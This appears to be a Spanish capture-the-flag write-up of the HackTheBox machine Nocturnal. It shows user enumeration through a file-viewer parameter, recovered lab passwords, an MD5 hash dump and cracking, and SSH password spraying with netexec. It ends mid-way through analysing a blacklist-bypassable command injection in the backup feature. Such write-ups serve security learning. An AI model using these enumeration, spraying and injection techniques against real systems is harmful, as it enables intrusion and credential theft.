This page looks best with JavaScript enabled

HackTheBox - Nocturnal

 •  ✍️ sckull

Nocturnal expone un sitio web para administar archivos donde realizamos la enumeracion de usuarios y archivos. Entre estos encontramos una contrasena que nos dio acceso al dashboard de administracion. Logramos acceder a la maquina mediante el backup del sitio y Command Injection en la creacion de un backup. Finalmente escalamos privilegios tras explotar una vulnerabilidad en ISPConfig.

Nombre Nocturnal box_img_maker
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2025-04-12
IP 10.10.11.64
Maker

FisMatHack

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [328, 371, 1389, 889, 292, 107, 60, 17, 1, 33],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.95 scan initiated Sat Apr 12 21:29:39 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.64
Nmap scan report for 10.10.11.64
Host is up (0.24s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 12 21:29:55 2025 -- 1 IP address (1 host up) scanned in 16.08 seconds

Web Site

El sitio web nos redirige al dominio nocturnal.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ curl -sI 10.10.11.64
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 13 Apr 2025 01:30:12 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://nocturnal.htb/

Segun la descripcion del sitio, es un tipo de servicio de alojamiento de archivos.

image

Los dos enlaces muestran un formulario de registro y uno de login.

image
image

Directory Brute Forcing

feroxbuster muestra una pagina de admin y dos directorios: backups y uploads. Se ejecuto feroxbuster sobre estos directorios especificando extensiones segun la descripcion del sitio pero no se encontro ningun archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
❯ feroxbuster -u http://nocturnal.htb/ -w $CM -x php
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://nocturnal.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       21l       45w      649c http://nocturnal.htb/register.php
200      GET      161l      327w     3105c http://nocturnal.htb/style.css
200      GET       21l       45w      644c http://nocturnal.htb/login.php
200      GET       29l      145w     1524c http://nocturnal.htb/
302      GET        0l        0w        0c http://nocturnal.htb/admin.php => login.php
301      GET        7l       12w      178c http://nocturnal.htb/backups => http://nocturnal.htb/backups/
302      GET        0l        0w        0c http://nocturnal.htb/dashboard.php => login.php
200      GET       29l      145w     1524c http://nocturnal.htb/index.php
302      GET        0l        0w        0c http://nocturnal.htb/logout.php => login.php
403      GET        7l       10w      162c http://nocturnal.htb/uploads
302      GET      123l      236w     2919c http://nocturnal.htb/view.php => login.php
❯ feroxbuster -u http://nocturnal.htb/backups/ -w $CM -x php,pdf,zip,docx,doc,cvs,xlsx
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://nocturnal.htb/backups/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, pdf, zip, docx, doc, cvs, xlsx]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      162c http://nocturnal.htb/backups/
[####################] - 80s    36912/36912   0s      found:1       errors:0      
[####################] - 80s    36912/36912   459/s   http://nocturnal.htb/backups/
❯ feroxbuster -u http://nocturnal.htb/uploads/ -w $CM -x php,pdf,zip,docx,doc,cvs,xlsx
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://nocturnal.htb/uploads/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, pdf, zip, docx, doc, cvs, xlsx]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        7l       10w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
[####################] - 2m    147648/147648  0s      found:0       errors:0      
[####################] - 81s    36912/36912   454/s   http://nocturnal.htb/uploads/ 
[####################] - 81s    36912/36912   457/s   http://nocturnal.htb/uploads/cgi-bin/ 
[####################] - 83s    36912/36912   444/s   http://nocturnal.htb/uploads/cgi-bin/cgi-bin/ 
[####################] - 80s    36912/36912   460/s   http://nocturnal.htb/uploads/cgi-bin/cgi-bin/cgi-bin/

Website

Realizamos el registro de un usuario. Tras autenticarnos este nos redirige hacia el dashboard donde se observa un formulario para subida de archivos.

image

Intentamos subir un archivo de texto pero este muestra un mensaje que indica los archivos que son aceptados.

image

Al cambiar a .pdf se muestra en el dashboard con un enlace que permite la descarga.

image

User Enum

El enlace muestra el usuario y archivo a descargar, al realizar el cambio a un usuario diferente este nos permite enumerar usuarios y archivos del sitio.

1
http://nocturnal.htb/view.php?username=admin&file=empty.pdf

image
image

Ejecutamos ffuf para enumerar los usuarios existentes especificando la cookie y el parametro, este muestra tres usuarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -u "http://nocturnal.htb/view.php?username=FUZZ&file=empty.pdf" -H "Cookie: PHPSESSID=1rinurobbt6r8fm50ltg6ikfmr" -fs 2985

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=empty.pdf
 :: Wordlist         : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt
 :: Header           : Cookie: PHPSESSID=1rinurobbt6r8fm50ltg6ikfmr
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 2985
________________________________________________

admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 239ms]
amanda                  [Status: 200, Size: 3305, Words: 1178, Lines: 129, Duration: 239ms]
tobias                  [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 238ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

User - Amanda

En la lista de archivos de amanda observamos privacy.odt.

image

Extrajimos el contenido del archivo con zip y realizamos la lectura de content.xml donde encontramos un mensaje para Amanda que indica una contrasena temporal para este usuario.

Dear Amanda,

Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J.
This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.

The file has been created and provided by Nocturnal’s IT team.
If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.

Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company.
We appreciate your prompt attention to this matter.

Yours sincerely,
Nocturnal’s IT team

Tras ingresar con las credenciales observamos un enlace al panel de administracion.

image

En este observamos una lista de archivos y un formulario que indica la creacion de backups con contrasena.

image

En el panel podemos realizar la lectura de los archivos listados, se observa el contenido de logout.php.

image

Tambien es posible crear un backup de estos archivos tras ingresar una contrasena.

image

User - Tobias via Backup DB

Tras generar y descargar un backup este nos muestra que la base de datos fue agregada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
❯ unzip backup_2025-04-13.zip
Archive:  backup_2025-04-13.zip
[backup_2025-04-13.zip] admin.php password: 
  inflating: admin.php               
   creating: uploads/
  inflating: uploads/privacy.odt     
  inflating: register.php            
  inflating: login.php               
  inflating: dashboard.php           
  inflating: nocturnal_database.db   
  inflating: index.php               
  inflating: view.php                
  inflating: logout.php              
  inflating: style.css               
1
2
3
            ^
Full backup |
            |
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
// admin.php
<?php
session_start();

if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
    header('Location: login.php');
    exit();
}

function sanitizeFilePath($filePath) {
    return basename($filePath); // Only gets the base name of the file
}

// List only PHP files in a directory
function listPhpFiles($dir) {
    $files = array_diff(scandir($dir), ['.', '..']);
    echo "<ul class='file-list'>";
    foreach ($files as $file) {
        $sanitizedFile = sanitizeFilePath($file);
        if (is_dir($dir . '/' . $sanitizedFile)) {
            // Recursively call to list files inside directories
            echo "<li class='folder'>📁 <strong>" . htmlspecialchars($sanitizedFile) . "</strong>";
            echo "<ul>";
            listPhpFiles($dir . '/' . $sanitizedFile);
            echo "</ul></li>";
        } else if (pathinfo($sanitizedFile, PATHINFO_EXTENSION) === 'php') {
            // Show only PHP files
            echo "<li class='file'>📄 <a href='admin.php?view=" . urlencode($sanitizedFile) . "'>" . htmlspecialchars($sanitizedFile) . "</a></li>";
        }
    }
    echo "</ul>";
}

// View the content of the PHP file if the 'view' option is passed
if (isset($_GET['view'])) {
    $file = sanitizeFilePath($_GET['view']);
    $filePath = __DIR__ . '/' . $file;
    if (file_exists($filePath) && pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
        $content = htmlspecialchars(file_get_contents($filePath));
    } else {
        $content = "File not found or invalid path.";
    }
}

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}


?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Panel</title>
    <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&display=swap" rel="stylesheet">
    <style>
        [...]
    </style>
</head>
<body>
    <div class="container">
        <h1>Admin Panel</h1>

        <h2>File Structure (PHP Files Only)</h2>
        <?php listPhpFiles(__DIR__); ?>

        <h2>View File Content</h2>
        <?php if (isset($content)) { ?>
            <pre><?php echo $content; ?></pre>
        <?php } ?>

        <h2>Create Backup</h2>
        <form method="POST">
            <label for="password">Enter Password to Protect Backup:</label>
            <input type="password" name="password" required placeholder="Enter backup password">
            <button type="submit" name="backup">Create Backup</button>
        </form>

        <div class="backup-output">

<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }

        sleep(2);

        $logContents = file_get_contents($logFile);
        if (strpos($logContents, 'zip error') === false) {
            echo "<div class='backup-success'>";
            echo "<p>Backup created successfully.</p>";
            echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
            echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
            echo "</div>";
        } else {
            echo "<div class='error-message'>Error creating the backup.</div>";
        }

        unlink($logFile);
    }
}
?>

	</div>
        
        <?php if (isset($backupMessage)) { ?>
            <div class="message"><?php echo $backupMessage; ?></div>
        <?php } ?>
    </div>
</body>
</html>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
// dashboard.php
<?php
session_start();
if (!isset($_SESSION['user_id'])) {
    header('Location: login.php');
    exit();
}

$db = new SQLite3('nocturnal_database.db');
$user_id = $_SESSION['user_id'];
$username = $_SESSION['username'];

// Handle file upload
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $target_dir = "uploads/";
    $file_name = basename($_FILES["fileToUpload"]["name"]);
    $target_file = $target_dir . $file_name;
    $file_type = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

    $allowed_types = array("pdf", "doc", "docx", "xls", "xlsx", "odt");

    if (in_array($file_type, $allowed_types)) {
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            $stmt = $db->prepare("INSERT INTO uploads (user_id, file_name) VALUES (:user_id, :file_name)");
            $stmt->bindValue(':user_id', $user_id, SQLITE3_INTEGER);
            $stmt->bindValue(':file_name', $file_name, SQLITE3_TEXT);
            $stmt->execute();
        } else {
            echo "Error uploading file.";
        }
    } else {
        echo "Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.";
    }
}

// Get user's uploaded files
$stmt = $db->prepare("SELECT * FROM uploads WHERE user_id = :user_id");
$stmt->bindValue(':user_id', $user_id, SQLITE3_INTEGER);
$files = $stmt->execute();
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dashboard</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
        <?php if ($username === 'admin' || $username === 'amanda'): ?>
            <p><a href="/admin.php">Go to Admin Panel</a></p>
        <?php endif; ?>
         <h1>Welcome, <?php echo htmlspecialchars($username); ?></h1>

        <h2>Upload File</h2>
        <form action="" method="post" enctype="multipart/form-data">
            <input type="file" name="fileToUpload" required>
            <button type="submit">Upload File</button>
        </form>

        <h2>Your Files</h2>
        <ul>
            <?php while ($row = $files->fetchArray()): ?>
                <li>
                    <a href="view.php?username=<?php echo urlencode($username); ?>&file=<?php echo urlencode($row['file_name']); ?>">
                        <?php echo htmlspecialchars($row['file_name']); ?>
                    </a>
                    <span>(Uploaded on <?php echo $row['upload_time']; ?>)</span>
                </li>
            <?php endwhile; ?>
        </ul>

        <a href="logout.php" class="logout">Logout</a>
    </div>
</body>
</html>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//index.php
<?php
session_start();

if (isset($_SESSION['user_id'])) {
    header('Location: dashboard.php');
    exit();
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Welcome to Nocturnal</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
        <h1>Welcome to Nocturnal</h1>
        <p>Please <a href="login.php">login</a> or <a href="register.php">register</a> to start uploading and viewing your files.</p>

        <h2>Why Use Nocturnal?</h2>
        <ul>
            <li><strong>Seamless Uploads:</strong> Easily upload Word, Excel, and PDF documents with just a few clicks.</li>
            <li><strong>Access Anytime, Anywhere:</strong> Access your files from any device, ensuring flexibility and convenience.</li>
            <li><strong>User-Friendly Interface:</strong> Enjoy a simple and intuitive interface that makes file management effortless.</li>
            <li><strong>Collaboration Features:</strong> Share your documents with others for easy collaboration and feedback.</li>
            <li><strong>Regular Backups:</strong> Your files are backed up regularly, preventing loss and ensuring reliability.</li>
            <li><strong>24/7 Support:</strong> Our dedicated support team is available around the clock to assist you with any issues.</li>
        </ul>
        <h2>Contact Us</h2>
        <p>If you have any questions or need assistance, please reach out to us at <a href="mailto:support@nocturnal.htb">support@nocturnal.htb</a>.</p>
    </div>
</body>
</html>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// login.php
<?php
session_start();
$db = new SQLite3('nocturnal_database.db');

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
    $stmt->bindValue(':username', $username, SQLITE3_TEXT);
    $result = $stmt->execute()->fetchArray();

    if ($result && md5($password) === $result['password']) {
        $_SESSION['user_id'] = $result['id'];
        $_SESSION['username'] = $username;
        header('Location: dashboard.php');
        exit();
    } else {
        $error = 'Invalid username or password.';
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
        <h1>Login</h1>
        <?php if (isset($error)): ?>
            <p class="error"><?php echo $error; ?></p>
        <?php endif; ?>
        <form method="post">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit">Login</button>
        </form>
        <a href="register.php">Don't have an account? Register here</a>
    </div>
</body>
</html>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// register.php
<?php
session_start();
$db = new SQLite3('nocturnal_database.db');

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = md5($_POST['password']);

    $stmt = $db->prepare("INSERT INTO users (username, password) VALUES (:username, :password)");
    $stmt->bindValue(':username', $username, SQLITE3_TEXT);
    $stmt->bindValue(':password', $password, SQLITE3_TEXT);

    if ($stmt->execute()) {
        $_SESSION['success'] = 'User registered successfully!';
        header('Location: login.php');
        exit();
    } else {
        $error = 'Failed to register user.';
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Register</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <div class="container">
        <h1>Register</h1>
        <?php if (isset($error)): ?>
            <p class="error"><?php echo $error; ?></p>
        <?php endif; ?>
        <form method="post">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit">Register</button>
        </form>
        <a href="login.php">Already have an account? Login here</a>
    </div>
</body>
</html>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91

// view.php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>View File</title>
    <style>
        [...]
    </style>
</head>
<body>

<div class="container">
    <h1>File Viewer</h1>

    <?php
    session_start();

    if (!isset($_SESSION['user_id'])) {
        header('Location: login.php');
        exit();
    }

    $db = new SQLite3('nocturnal_database.db');

    $username = $_GET['username'];
    $file = basename($_GET['file']);

    $allowed_extensions = ["pdf", "doc", "docx", "xls", "xlsx", "odt"];
    $file_extension = pathinfo($file, PATHINFO_EXTENSION);

    if (!in_array($file_extension, $allowed_extensions)) {
        echo "<div class='error'>Invalid file extension.</div>";
        exit();
    }

    $stmt = $db->prepare('SELECT id FROM users WHERE username = :username');
    $stmt->bindValue(':username', $username, SQLITE3_TEXT);
    $result = $stmt->execute();

    if ($row = $result->fetchArray()) {
        $user_id = $row['id'];

        $stmt = $db->prepare('SELECT * FROM uploads WHERE user_id = :user_id AND file_name = :file');
        $stmt->bindValue(':user_id', $user_id, SQLITE3_INTEGER);
        $stmt->bindValue(':file', $file, SQLITE3_TEXT);
        $result = $stmt->execute();

        if ($row = $result->fetchArray()) {
            $file_path = 'uploads/' . $file;

            if (file_exists($file_path)) {
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($file_path) . '"');
                readfile($file_path);
                exit();
            } else {
                echo "<div class='error'>File not found on the server.</div>";
                showAvailableFiles($user_id, $db);
            }
        } else {
            echo "<div class='error'>File does not exist.</div>";
            showAvailableFiles($user_id, $db);
        }
    } else {
        echo "<div class='error'>User not found.</div>";
    }

    function showAvailableFiles($user_id, $db) {
        $stmt = $db->prepare('SELECT file_name FROM uploads WHERE user_id = :user_id');
        $stmt->bindValue(':user_id', $user_id, SQLITE3_INTEGER);
        $result = $stmt->execute();

        echo "<h2>Available files for download:</h2>";
        echo "<ul>";

        while ($row = $result->fetchArray()) {
            $file_name = $row['file_name'];
            echo '<li><a href="view.php?username=' . urlencode($_GET['username']) . '&file=' . urlencode($file_name) . '">' . htmlspecialchars($file_name) . '</a></li>';
        }

        echo "</ul>";
    }
    ?>

</div>

</body>
</html>

Dentro de la base de datos sqlite se encontro la lista de usuarios con su respectivo hash de contrasena.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
❯ sqlite3
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open nocturnal_database.db
sqlite> .tables
uploads  users  
sqlite> select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|sckull|ee11cbb19052e40b07aac0ca060c23ee
sqlite>

crackstation muestra la contrasena de tobias.

Hash Type Result
d725aeba143f575736b07e045d8ceebb Unknown Not found
df8b20aa0c935023f99ea58358fb63c4 Unknown Not found
55c82b1ccd55ab219b3b109b07d5061d md5 slowmotionapocalypse

Password Spraying

Ejecutamos netexec para realizar password spraying con la lista de usuarios y contrasena, se observa que tobias tiene acceso por SSH.

1
2
3
4
5
6
❯ netexec ssh 10.10.11.64 -u users.txt -p 'slowmotionapocalypse'
SSH         10.10.11.64     22     10.10.11.64      [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.10.11.64     22     10.10.11.64      [-] admin:slowmotionapocalypse
SSH         10.10.11.64     22     10.10.11.64      [-] amanda:slowmotionapocalypse
SSH         10.10.11.64     22     10.10.11.64      [+] tobias:slowmotionapocalypse  Linux - Shell access!

Shell

Tras ingresar por el servicio SSH logramos obtener la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
❯ ssh tobias@nocturnal.htb # slowmotionapocalypse
tobias@nocturnal.htb's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-212-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun 13 Apr 2025 03:35:29 AM UTC

  System load:           0.06
  Usage of /:            56.1% of 5.58GB
  Memory usage:          15%
  Swap usage:            0%
  Processes:             235
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.64
  IPv6 address for eth0: dead:beef::250:56ff:feb9:b6de


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Apr 13 03:35:30 2025 from 10.10.14.105
tobias@nocturnal:~$ whoami;id
tobias
uid=1000(tobias) gid=1000(tobias) groups=1000(tobias)
tobias@nocturnal:~$ ls
user.txt
tobias@nocturnal:~$ cat user.txt 
f198703f852b16f427b4831f1076212f
tobias@nocturnal:~$ 

Tobias via Command Injection

En admin.php encontramos que existe una vulnerabilidad que nos permite inyectar comandos en la maquina, se observa que la funcion cleanEntry() filtra a la contrasena que es utilizada en el comando que se construye y ejecuta. Sin embargo este unicamente verifica caracteres, en el caso de que ingresemos saltos de linea o tabulaciones es posible inyectar comandos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// admin.php
function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected        }
    }
    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');}
?>

<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);                     // command inyection
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";   // command inyection

        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];
        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }

        sleep(2);
        $logContents = file_get_contents($logFile);
